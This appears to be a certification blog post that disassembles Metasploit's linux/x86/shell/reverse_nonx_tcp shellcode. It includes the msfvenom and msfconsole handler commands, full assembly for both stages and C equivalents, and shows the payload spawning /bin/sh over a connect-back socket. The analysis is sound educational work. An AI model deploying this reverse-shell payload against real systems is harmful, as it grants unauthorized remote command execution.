This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=3
Student ID: PA-30398
I chose the following 4 shellcode samples:
| Name | Description | |-|-|-| | linux/x86/adduser | Create a new user with UID 0 | | linux/x86/shell/reverse_nonx_tcp | Spawn a command shell (staged). Connect back to the attacker | | linux/x86/shell_find_tag | Spawn a shell on an established connection (proxy/nat safe) | | linux/x86/shell_reverse_tcp_ipv6 | Connect back to attacker and spawn a command shell over IPv6 |
In this post I'll analyze linux/x86/shell/reverse_nonx_tcp
.
To generate the payload:
msfvenom -p linux/x86/shell/reverse_nonx_tcp -o shellcode.bin
To analyze it with ndisasm
:
ndisasm shellcode.bin -b 32 -p intel
It returns the following output (comments are mine though):
; push 0x00000000
00000000 31DB xor ebx,ebx
00000002 53 push ebx
; push 0x00000001
00000003 43 inc ebx
00000004 53 push ebx
; push 0x02
00000005 6A02 push byte +0x2
; push 0x00000066
00000007 6A66 push byte +0x66
; EAX = 0x66 (102)
00000009 58 pop eax
; 2nd argument of socketcall(): pointer to arguments of SYS_BIND
0000000A 89E1 mov ecx,esp
; call socketcall syscall
0000000C CD80 int 0x80
The instructions above can be converted into the following C code:
#define AF_INET 2
#define SOCK_STREAM 1
#define IPPROTO_IP 0
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
So, up until now, it created a TCP socket. The file descriptor of the new socket is stored into EAX
.
Next, the shellcode connects to the server socket ( 127.0.0.1:4444
):
; exchanges EAX and EDI
0000000E 97 xchg eax,edi
; EBX = 0x2
0000000F 5B pop ebx
; inet_aton("127.0.0.1")
00000010 687F000001 push dword 0x100007f
; htons(4444)
00000015 6668115C push word 0x5c11
; push 0x00000002
00000019 6653 push bx
; 2nd argument of connect(): pointer to sockaddr struct
0000001B 89E1 mov ecx,esp
; syscall 102 (0x66): socketcall
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
; size of the sockaddr struct
00000020 50 push eax
; Pointer to the sockaddr struct
00000021 51 push ecx
; File Descriptor of the Server Socket
00000022 57 push edi
; 2nd argument of socketcall(): pointer to arguments of connect()
00000023 89E1 mov ecx,esp
socketcall
, ECX
contains a pointer to the arguments for the function called, in this case SYS_CONNECT
; 1st argument of socketcall(): SYS_CONNECT (EBX = 3)
00000025 43 inc ebx
00000026 CD80 int 0x80
The instructions above can be converted into the following C code:
struct sockaddr_in client_address;
client_address.sin_family = AF_INET;
inet_aton("127.0.0.1", &client_address.sin_addr);
client_address.sin_port = htons(4444);
connect(fd, (struct sockaddr *)&client_address, sizeof(client_address));
After that, data is read from the server:
; File Descriptor of the Server Socket
00000028 5B pop ebx
00000029 99 cdq
; EDX = 0x00000c00 (3072)
0000002A B60C mov dh,0xc
connect()
stores 0x0
into EAX
on success, after CDQ
, the register EDX
is zeroed ; EAX = 0x3, which is the read syscall
0000002C B003 mov al,0x3
0000002E CD80 int 0x80
00000030 FFE1 jmp ecx
read()
in order to receive data from the server socket, and jump to ECX
(pointer to the top of the stack), where data is storedThis last block of code allows the shellcode to receive data from the Server Socket. Data is placed on the stack.
It can be converted to the following C code:
// fd is the file descriptor of the socket created with socket()
// ECX -> pointer to the top of stack, where data will be stored
read(fd, ECX, 3072);
Up until now, I only analyzed the 1st stage of the shellcode. To analyze the 2nd stage, I had to connect to a listening Server
:
sudo msfconsole
# msf6 > use exploit/multi/handler
# msf6 exploit(multi/handler) > set PAYLOAD linux/x86/shell/reverse_nonx_tcp
# msf6 exploit(multi/handler) > set LHOST 127.0.0.1
# msf6 exploit(multi/handler) > set LPORT 4444
# msf6 exploit(multi/handler) > run -j
In another terminal window:
nc 127.0.0.1 4444 > stage2.bin
ndisasm -b 32 -p intel stage2.bin
Follows the assembly of the second stage:
; save File Descriptor of the Server Socket into EDI
00000000 89FB mov ebx, edi
; push 0x00000002 and move it into ECX
00000002 6A02 push byte +0x2
00000004 59 pop ecx
push byte
is useful when you want to push a 32-bit integer value like 0x00000002
but you have to avoid NULL
bytes. Moreover, it uses only 2
bytes ; push 0x0000002f (63) into EAX
00000005 6A3F push byte +0x3f
00000007 58 pop eax
; call syscall 63: dup2()
00000008 CD80 int 0x80
dup2()
to redirect stderr
to the server socket0000000A 49 dec ecx
; jump back to 'push byte 0x3f', continue when ECX == -1
0000000B 79F8 jns 0x5
JNS
is useful when you want your loop to perform another iteration: when ECX=0
; set EAX to 0xb
0000000D 6A0B push byte +0xb
0000000F 58 pop eax
; clear EDX and use a string terminator (NULL byte)
00000010 99 cdq
00000011 52 push edx
; string '/bin//sh'
00000012 682F2F7368 push dword 0x68732f2f
00000017 682F62696E push dword 0x6e69622f
; copy the pointer to "/bin//sh" into EBX
0000001C 89E3 mov ebx,esp
; argv argument of execve (array of pointers)
0000001E 52 push edx
0000001F 53 push ebx
; ECX is an array of pointers: first value is pointer to "/bin//sh", second one is 0x00000000
00000020 89E1 mov ecx,esp
; ; syscall 0xb (11): execve
00000022 CD80 int 0x80
/bin//sh)
00000024 6563686F arpl [gs:eax+0x6f],bp
00000028 205135 and [ecx+0x35],dl
0000002B 32617A xor ah,[ecx+0x7a]
0000002E 46 inc esi
0000002F 56 push esi
00000030 4D dec ebp
00000031 49 dec ecx
00000032 7847 js 0x7b
00000034 0A db 0x0a
These last 9 lines aren't Assembly instructions, but a string that's executed by execve
:
echo -n '6563686F20513532617A46564D4978470A' | xxd -r -p
# Output:
# 'echo Q52azFVMIxG'
It seems that, after a shell is spawned, it executes the command echo Q52azFVMIxG
, whose output is sent to the server socket. This may act as a password to connect to the server.